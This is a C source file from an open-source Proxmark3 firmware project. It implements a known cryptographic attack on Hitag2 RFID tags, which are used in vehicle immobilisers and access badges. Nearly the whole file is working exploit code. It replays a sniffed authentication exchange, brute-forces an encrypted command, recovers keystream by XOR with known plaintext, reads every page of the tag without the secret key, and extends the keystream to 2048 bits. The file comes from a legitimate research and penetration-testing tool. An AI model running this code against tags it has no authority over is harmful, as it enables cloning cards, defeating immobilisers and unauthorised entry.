Release v4.15864 - Radium
[RRG-proxmark3.git] / armsrc / hitag2crack.c
blobed7daecd562107e1f1d8435e389a930d8af8a9e0
1 //-----------------------------------------------------------------------------
2 // Borrowed initially from https://github.com/factoritbv/hitag2hell
3 // and https://github.com/AdamLaurie/RFIDler/blob/master/firmware/Pic32/RFIDler.X/src/hitag2crack.c
4 // Copyright (C) Kevin Sheldrake <kev@headhacking.com>, Aug 2018
5 // Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
6 //
7 // This program is free software: you can redistribute it and/or modify
8 // it under the terms of the GNU General Public License as published by
9 // the Free Software Foundation, either version 3 of the License, or
10 // (at your option) any later version.
12 // This program is distributed in the hope that it will be useful,
13 // but WITHOUT ANY WARRANTY; without even the implied warranty of
14 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 // GNU General Public License for more details.
17 // See LICENSE.txt for the text of the license.
18 //-----------------------------------------------------------------------------
19 // hitag2 attack functions
20 //-----------------------------------------------------------------------------
22 #include "hitag2_crypto.h"
23 #include "hitag2crack.h"
25 #define READP0CMD "1100000111"
26 #define ERROR_RESPONSE "F402889C"
28 static const uint8_t Hitag2Sync[5];
29 static bool CryptoActive;
30 static Hitag_State Hitag_Crypto_State;
32 // hitag2_crack implements the first crack algorithm described in the paper,
33 // Gone In 360 Seconds by Verdult, Garcia and Balasch.
34 // response is a multi-line text response containing the 8 pages of the
35 // cracked tag;
36 // nrarhex is a string containing hex representations of the 32 bit nR and aR
37 // values (separated by a space) snooped using SNIFF-PWM.
38 bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) {
39 uint8_t uidhex[9];
40 uint8_t uid[32];
41 uint8_t nrar[64];
42 uint8_t e_firstcmd[10];
43 // uint8_t e_page0cmd[10];
44 uint8_t keybits[42];
45 uint8_t pagehex[9];
46 uint8_t temp[20];
47 int i;
48 uint8_t *spaceptr = NULL;
50 // get uid as hexstring
51 if (!hitag2_get_uid(uidhex)) {
52 UserMessage("Cannot get UID\r\n");
53 return false;
56 // convert uid hexstring to binarray
57 hextobinarray(uid, uidhex);
59 // convert nR and aR hexstrings to binarray
60 spaceptr = strchr(nrarhex, ' ');
61 if (!spaceptr) {
62 UserMessage("Please supply a valid nR aR pair\r\n");
63 return false;
65 *spaceptr = 0x00;
67 if (hextobinarray(nrar, nrarhex) != 32) {
68 UserMessage("nR is not 32 bits long\r\n");
69 return false;
72 if (hextobinarray(nrar + 32, spaceptr + 1) != 32) {
73 UserMessage("aR is not 32 bits long\r\n");
74 return false;
77 // find a valid encrypted command
78 if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) {
79 UserMessage("Cannot find a valid encrypted command\r\n");
80 return false;
83 // find the 'read page 0' command and recover key stream
84 if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) {
85 UserMessage("Cannot find encrypted 'read page0' command\r\n");
86 return false;
89 // empty the response string
90 response[0] = 0x00;
92 // read all pages using key stream
93 for (i = 0; i < 8; i++) {
94 if (hitag2crack_read_page(pagehex, i, nrar, keybits)) {
95 sprintf(temp, "%1d: %s\r\n", i, pagehex);
96 } else {
97 sprintf(temp, "%1d:\r\n", i);
99 // add page string to response
100 strcat(response, temp);
103 return true;
106 // hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
107 // with a different sequential encrypted command value in order to find one
108 // that returns a valid response.
109 // e_cmd is the returned binarray of the valid encrypted command;
110 // nrar is the binarray of the 64 bit nR aR pair.
111 bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) {
112 uint8_t guess[10];
113 uint8_t responsestr[9];
115 // UserMessage("Finding valid encrypted command:");
116 // we're going to hold bits 5, 7, 8 and 9 and brute force the rest
117 // e.g. x x x x x 0 x 0 0 0
118 for (uint8_t a = 0; a < 2; a++) {
119 for (uint8_t b = 0; b < 2; b++) {
120 for (uint8_t c = 0; c < 2; c++) {
121 for (uint8_t d = 0; d < 2; d++) {
122 for (uint8_t e = 0; e < 2; e++) {
123 for (uint8_t g = 0; g < 2; g++) {
124 // build binarray
125 guess[0] = a;
126 guess[1] = b;
127 guess[2] = c;
128 guess[3] = d;
129 guess[4] = e;
130 guess[5] = 0;
131 guess[6] = g;
132 guess[7] = 0;
133 guess[8] = 0;
134 guess[9] = 0;
136 // send guess
137 if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
138 // check if it was valid
139 if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
140 // return the guess as the encrypted command
141 memcpy(e_cmd, guess, 10);
142 return true;
144 } else {
145 #ifdef RFIDLER_DEBUG
146 UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
147 #endif
149 UserMessage(".");
156 // UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n");
157 return false;
160 // hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
161 // valid encrypted command and tests the results by attempting an extended
162 // command version of the command to see if that produces a valid response.
163 // keybits is the returned binarray of the recovered key stream;
164 // e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
165 // e_firstcmd is the binarray of the first valid encrypted command found;
166 // nrar is the binarray of the 64 bit nR aR pair;
167 // uid is the binarray of the 32 bit UID.
168 bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) {
169 uint8_t a, b, c, d;
170 uint8_t guess[10];
171 uint8_t responsestr[9];
172 uint8_t e_uid[32];
174 UserMessage("Finding 'read page 0' command:");
175 // we're going to brute the missing 4 bits of the valid encrypted command
176 for (a = 0; a < 2; a++) {
177 for (b = 0; b < 2; b++) {
178 for (c = 0; c < 2; c++) {
179 for (d = 0; d < 2; d++) {
180 // create our guess by bit flipping the pattern of bits
181 // representing the inverted bit and the 3 page bits
182 // in both the non-inverted and inverted parts of the
183 // encrypted command.
184 memcpy(guess, e_firstcmd, 10);
185 if (a) {
186 guess[5] = !guess[5];
187 guess[0] = !guess[0];
189 if (b) {
190 guess[7] = !guess[7];
191 guess[2] = !guess[2];
193 if (c) {
194 guess[8] = !guess[8];
195 guess[3] = !guess[3];
197 if (d) {
198 guess[9] = !guess[9];
199 guess[4] = !guess[4];
202 // try the guess
203 if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
204 // check if it was valid
205 if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
206 // convert response to binarray
207 hextobinarray(e_uid, responsestr);
208 // test if the guess was 'read page 0' command
209 if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) {
211 return true;
213 } else {
214 #ifdef RFIDLER_DEBUG
215 UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
216 #endif
218 } else {
219 #ifdef RFIDLER_DEBUG
220 UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
221 #endif
223 UserMessage(".");
228 UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n");
229 return false;
232 // hitag2crack_test_e_p0cmd XORs the message (command + response) with the
233 // encrypted version to retrieve the key stream. It then uses this key stream
234 // to encrypt an extended version of the READP0CMD and tests if the response
235 // is valid.
236 // keybits is the returned binarray of the key stream;
237 // nrar is the 64 bit binarray of nR aR pair;
238 // e_cmd is the binarray of the encrypted command;
239 // uid is the binarray of the card UID;
240 // e_uid is the binarray of the encrypted version of the UID.
241 bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) {
242 uint8_t cipherbits[42];
243 uint8_t plainbits[42];
244 uint8_t ext_cmd[40];
245 uint8_t e_ext_cmd[40];
246 uint8_t responsestr[9];
247 int i;
249 // copy encrypted cmd to cipherbits
250 memcpy(cipherbits, e_cmd, 10);
252 // copy encrypted uid to cipherbits
253 memcpy(cipherbits + 10, e_uid, 32);
255 // copy cmd to plainbits
256 binstringtobinarray(plainbits, READP0CMD);
258 // copy uid to plainbits
259 memcpy(plainbits + 10, uid, 32);
261 // xor the plainbits with the cipherbits to get keybits
262 hitag2crack_xor(keybits, plainbits, cipherbits, 42);
264 // create extended cmd -> 4 * READP0CMD = 40 bits
265 for (i = 0; i < 4; i++) {
266 binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
269 // xor extended cmd with keybits
270 hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40);
272 // send extended encrypted cmd
273 if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40)) {
274 // test if it was valid
275 if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
276 return true;
278 } else {
279 #ifdef RFIDLER_DEBUG
280 UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
281 #endif
284 return false;
288 // hitag2crack_xor XORs the source with the pad to produce the target.
289 // source, target and pad are binarrays of length len.
290 void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, unsigned int len) {
292 for (int i = 0; i < len; i++) {
293 target[i] = source[i] ^ pad[i];
297 // hitag2crack_read_page uses the supplied key stream and nrar pair to read the
298 // given page, returning the response as a hexstring.
299 // responsestr is the returned hexstring;
300 // pagenum is the page number to read;
301 // nrar is the 64 bit binarray of the nR aR pair;
302 // keybits is the binarray of the key stream.
303 bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) {
304 uint8_t cmd[10];
305 uint8_t e_cmd[10];
306 uint8_t e_responsestr[9];
308 if (pagenum > 7) {
309 UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n");
310 return false;
313 // create cmd
314 binstringtobinarray(cmd, READP0CMD);
315 if (pagenum & 0x1) {
316 cmd[9] = !cmd[9];
317 cmd[4] = !cmd[4];
319 if (pagenum & 0x2) {
320 cmd[8] = !cmd[8];
321 cmd[3] = !cmd[3];
323 if (pagenum & 0x4) {
324 cmd[7] = !cmd[7];
325 cmd[2] = !cmd[2];
328 // encrypt command
329 hitag2crack_xor(e_cmd, cmd, keybits, 10);
331 // send encrypted command
332 if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10)) {
333 // check if it is valid
334 if (strcmp(e_responsestr, ERROR_RESPONSE) != 0) {
335 uint8_t e_response[32];
336 uint8_t response[32];
337 // convert to binarray
338 hextobinarray(e_response, e_responsestr);
339 // decrypt response
340 hitag2crack_xor(response, e_response, keybits + 10, 32);
341 // convert to hexstring
342 binarraytohex(responsestr, response, 32);
343 return true;
344 } else {
345 UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
347 } else {
348 UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n");
351 return false;
354 // hitag2crack_send_e_cmd replays the auth and sends the given encrypted
355 // command.
356 // responsestr is the hexstring of the response to the command;
357 // nrar is the 64 bit binarray of the nR aR pair;
358 // cmd is the binarray of the encrypted command to send;
359 // len is the length of the encrypted command.
360 bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) {
361 // uint8_t tmp[37];
362 uint8_t uid[9];
363 uint8_t e_page3str[9];
365 // get the UID
366 if (!hitag2_get_uid(uid)) {
367 UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n");
368 return false;
371 // START_AUTH kills active crypto session
372 CryptoActive = false;
374 // get the UID again
375 if (!hitag2_get_uid(uid)) {
376 UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n");
377 return false;
380 // send nrar and receive (useless) encrypted page 3 value
381 if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) {
382 UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n");
383 return false;
386 // send encrypted command
387 if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false)) {
388 #ifdef RFIDLER_DEBUG
389 UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n");
390 #endif
391 return false;
394 return true;
397 // hitag2crack_tx_rx transmits a message and receives a response.
398 // responsestr is the hexstring of the response;
399 // msg is the binarray of the message to send;
400 // state is the RWD state;
401 // reset indicates whether to reset RWD state after.
402 bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) {
403 uint8_t tmp[37];
404 int ret = 0;
406 // START_AUTH kills active crypto session
407 CryptoActive = false;
409 if (!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX)) {
410 UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n");
411 return false;
414 // skip 1/2 bit to synchronise manchester
415 HW_Skip_Bits = 1;
416 ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY);
418 // check if response was a valid length (5 sync bits + 32 bits response)
419 if (ret == 37) {
420 // check sync bits
421 if (memcmp(tmp, Hitag2Sync, 5) != 0) {
422 UserMessage("hitag2crack_tx_rx: no sync\r\n");
423 return false;
426 // convert response to hexstring
427 binarraytohex(responsestr, tmp + 5, 32);
428 return true;
429 } else {
430 #ifdef RFIDLER_DEBUG
431 UserMessage("hitag2crack_tx_rx: wrong rx len\r\n");
432 #endif
433 return false;
435 return false;
439 bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) {
440 uint64_t sharedkey;
441 uint32_t serialnum;
442 uint32_t initvector;
443 uint8_t *spaceptr;
444 uint8_t *dataptr;
446 // extract vals from input
447 dataptr = input;
448 spaceptr = strchr(dataptr, ' ');
449 if (!spaceptr) {
450 UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n");
451 return false;
454 *spaceptr = 0x00;
456 if (strlen(dataptr) != 12) {
457 UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n");
458 return false;
461 sharedkey = rev64(hexreversetoulonglong(dataptr));
463 dataptr = spaceptr + 1;
464 spaceptr = strchr(dataptr, ' ');
465 if (!spaceptr) {
466 UserMessage("/r/nno UID\r\n");
467 return false;
470 *spaceptr = 0x00;
471 if (strlen(dataptr) != 8) {
472 UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n");
473 return false;
476 serialnum = rev32(hexreversetoulong(dataptr));
478 dataptr = spaceptr + 1;
480 if (strlen(dataptr) != 8) {
481 UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n");
482 return false;
485 initvector = rev32(hexreversetoulong(dataptr));
487 // start up crypto engine
488 hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector);
490 strcpy(response, "Success\r\n");
492 return true;
495 bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) {
496 uint8_t bin[32];
497 uint8_t binhex[9];
498 uint8_t binstr[33];
499 uint32_t binulong;
501 if (strlen(hex) != 8) {
502 UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n");
503 return false;
506 binulong = hextoulong(hex);
508 ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32);
509 binarraytobinstring(binstr, bin, 32);
510 binarraytohex(binhex, bin, 32);
511 // UserMessage("ar = %s\r\n", binstr);
512 // UserMessage("arhex = %s\r\n", binhex);
514 strcpy(response, binhex);
515 return true;
518 bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) {
519 uint8_t bin[32];
520 uint8_t e_bin[32];
521 uint8_t binstr[33];
522 uint32_t binulong;
523 int len;
525 len = strlen(e_binstr);
526 if (len > 32) {
527 UserMessage("\r\nbinary string must be <= 32 bits\r\n");
528 return false;
531 binstringtobinarray(e_bin, e_binstr);
532 binulong = binarraytoulong(e_bin, len);
534 ulongtobinarray(bin, hitag2_crypt(binulong, len), len);
535 binarraytobinstring(binstr, bin, len);
536 strcpy(response, binstr);
537 return true;
540 bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) {
541 // XOR pad so encrypt == decrypt :)
542 return hitag2crack_decrypt_hex(response, hex);
545 bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) {
546 return hitag2crack_decrypt_bin(response, e_binstr);
549 // hitag2_keystream uses the first crack algorithm described in the paper,
550 // Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits
551 // of keystream.
552 // response is a multi-line text response containing the hex of the keystream;
553 // nrarhex is a string containing hex representations of the 32 bit nR and aR
554 // values (separated by a space) snooped using SNIFF-PWM.
555 bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) {
556 uint8_t uidhex[9];
557 uint8_t uid[32];
558 uint8_t nrar[64];
559 uint8_t e_firstcmd[10];
560 // uint8_t e_page0cmd[10];
561 // uint8_t keybits[2080];
562 uint8_t *keybits = DataBuff;
563 uint8_t keybitshex[67];
564 int kslen;
565 int ksoffset;
566 // uint8_t pagehex[9];
567 // uint8_t temp[20];
568 int i;
569 uint8_t *spaceptr = NULL;
572 keybits = malloc(2080);
573 if (!keybits) {
574 UserMessage("cannot malloc keybits\r\n");
575 return false;
579 // get uid as hexstring
580 if (!hitag2_get_uid(uidhex)) {
581 UserMessage("Cannot get UID\r\n");
582 return false;
585 // convert uid hexstring to binarray
586 hextobinarray(uid, uidhex);
588 // convert nR and aR hexstrings to binarray
589 spaceptr = strchr(nrarhex, ' ');
590 if (!spaceptr) {
591 UserMessage("Please supply a valid nR aR pair\r\n");
592 return false;
594 *spaceptr = 0x00;
596 if (hextobinarray(nrar, nrarhex) != 32) {
597 UserMessage("nR is not 32 bits long\r\n");
598 return false;
601 if (hextobinarray(nrar + 32, spaceptr + 1) != 32) {
602 UserMessage("aR is not 32 bits long\r\n");
603 return false;
606 // find a valid encrypted command
607 if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) {
608 UserMessage("Cannot find a valid encrypted command\r\n");
609 return false;
612 // find the 'read page 0' command and recover key stream
613 if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) {
614 UserMessage("Cannot find encrypted 'read page0' command\r\n");
615 return false;
618 // using the 40 bits of keystream in keybits, sending commands with ever
619 // increasing lengths to acquire 2048 bits of key stream.
620 kslen = 40;
622 while (kslen < 2048) {
623 ksoffset = 0;
624 if (!hitag2crack_send_auth(nrar)) {
625 UserMessage("hitag2crack_send_auth failed\r\n");
626 return false;
628 // while we have at least 52 bits of keystream, consume it with
629 // extended read page 0 commands. 52 = 10 (min command len) +
630 // 32 (response) + 10 (min command len we'll send)
631 while ((kslen - ksoffset) >= 52) {
632 // consume the keystream, updating ksoffset as we go
633 if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar)) {
634 UserMessage("hitag2crack_consume_keystream failed\r\n");
635 return false;
638 // send an extended command to retrieve more keystream, updating kslen
639 // as we go
640 if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid)) {
641 UserMessage("hitag2crack_extend_keystream failed\r\n");
642 return false;
644 UserMessage("Recovered %d bits of keystream\r\n", kslen);
648 for (i = 0; i < 2048; i += 256) {
649 binarraytohex(keybitshex, keybits + i, 256);
650 UserMessage("%s\r\n", keybitshex);
653 response[0] = 0x00;
655 return true;
658 // hitag2crack_send_auth replays the auth and returns.
659 // nrar is the 64 bit binarray of the nR aR pair;
660 bool hitag2crack_send_auth(uint8_t *nrar) {
661 uint8_t uid[9];
662 uint8_t e_page3str[9];
664 // get the UID
665 if (!hitag2_get_uid(uid)) {
666 UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n");
667 return false;
670 // START_AUTH kills active crypto session
671 CryptoActive = false;
673 // get the UID again
674 if (!hitag2_get_uid(uid)) {
675 UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n");
676 return false;
679 // send nrar and receive (useless) encrypted page 3 value
680 if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) {
681 UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n");
682 return false;
684 return true;
687 // hitag2crack_consume_keystream sends an extended command (up to 510 bits in
688 // length) to consume keystream.
689 // keybits is the binarray of keystream bits;
690 // kslen is the length of keystream;
691 // ksoffset is a pointer to the current keystream offset (updated by this fn);
692 // nrar is the 64 bit binarray of the nR aR pair.
693 bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) {
694 int conlen;
695 int numcmds;
696 int i;
697 uint8_t ext_cmd[510];
698 uint8_t e_ext_cmd[510];
699 uint8_t responsestr[9];
701 // calculate the length of keybits to consume with the extended command.
702 // 42 = 32 bit response + 10 bit command reserved for next command. conlen
703 // cannot be longer than 510 bits to fit into the small RWD buffer.
704 conlen = kslen - *ksoffset - 42;
705 if (conlen < 10) {
706 UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n");
707 return false;
710 // sanitise conlen
711 if (conlen > 510) {
712 conlen = 510;
715 // calculate how many repeated commands to send in this extended command.
716 numcmds = conlen / 10;
718 // build extended command
719 for (i = 0; i < numcmds; i++) {
720 binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
723 // xor extended cmd with keybits
724 hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + *ksoffset, numcmds * 10);
726 // send encrypted command
727 if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) {
728 UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n");
729 return false;
732 // test response
733 if (strcmp(responsestr, ERROR_RESPONSE) == 0) {
734 UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n");
735 return false;
738 // don't bother decrypting the response - we already know the keybits
740 // update ksoffset with command length and response
741 *ksoffset += (numcmds * 10) + 32;
743 return true;
746 // hitag2crack_extend_keystream sends an extended command to retrieve more keybits.
747 // keybits is the binarray of the keystream bits;
748 // kslen is a pointer to the current keybits length;
749 // ksoffset is the offset into the keybits array;
750 // nrar is the 64 bit binarray of the nR aR pair;
751 // uid is the 32 bit binarray of the UID.
752 bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) {
753 int cmdlen;
754 int numcmds;
755 uint8_t ext_cmd[510];
756 uint8_t e_ext_cmd[510];
757 uint8_t responsestr[9];
758 uint8_t e_response[32];
759 int i;
761 // calc number of command iterations to send
762 cmdlen = *kslen - ksoffset;
763 if (cmdlen < 10) {
764 UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n");
765 return false;
768 numcmds = cmdlen / 10;
770 // build extended command
771 for (i = 0; i < numcmds; i++) {
772 binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
775 // xor extended cmd with keybits
776 hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + ksoffset, numcmds * 10);
778 // send extended encrypted cmd
779 if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) {
780 UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n");
781 return false;
784 // test response
785 if (strcmp(responsestr, ERROR_RESPONSE) == 0) {
786 UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n");
787 return false;
790 // convert response to binarray
791 hextobinarray(e_response, responsestr);
793 // recover keystream from encrypted response
794 hitag2crack_xor(keybits + ksoffset + (numcmds * 10), e_response, uid, 32);
796 // update kslen
797 *kslen = ksoffset + (numcmds * 10) + 32;
799 return true;
803 bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive) {
804 uint8_t tmp[9];
806 response[0] = '\0';
807 // auth to tag
808 if (hitag2_crypto_auth(tmp, key)) {
809 // read tag, one page at a time
810 for (int i = 0; i <= 7; ++i) {
811 if (!read_tag(tmp, i, i)) {
812 // if read fails, it could be because of auth,
813 // so try to reauth
814 if (!hitag2_crypto_auth(tmp, key)) {
815 // if we can't reauth, it's a real failure
816 return false;
818 // temp failure (probably due to page protections)
819 strcpy(tmp, "XXXXXXXX");
821 // page contents are in tmp
822 strcat(response, tmp);
825 if (interactive) {
826 tmp[8] = '\0';
827 for (i = 0; i <= 7 ; ++i) {
828 UserMessageNum("%d: ", i);
829 memcpy(tmp, response + (i * 8), 8);
830 UserMessage("%s\r\n", tmp);
832 UserMessage("%s", "\r\n");
833 } else {
834 hitag2_nvm_store_tag(response);
836 return true;
837 } else {
838 return false;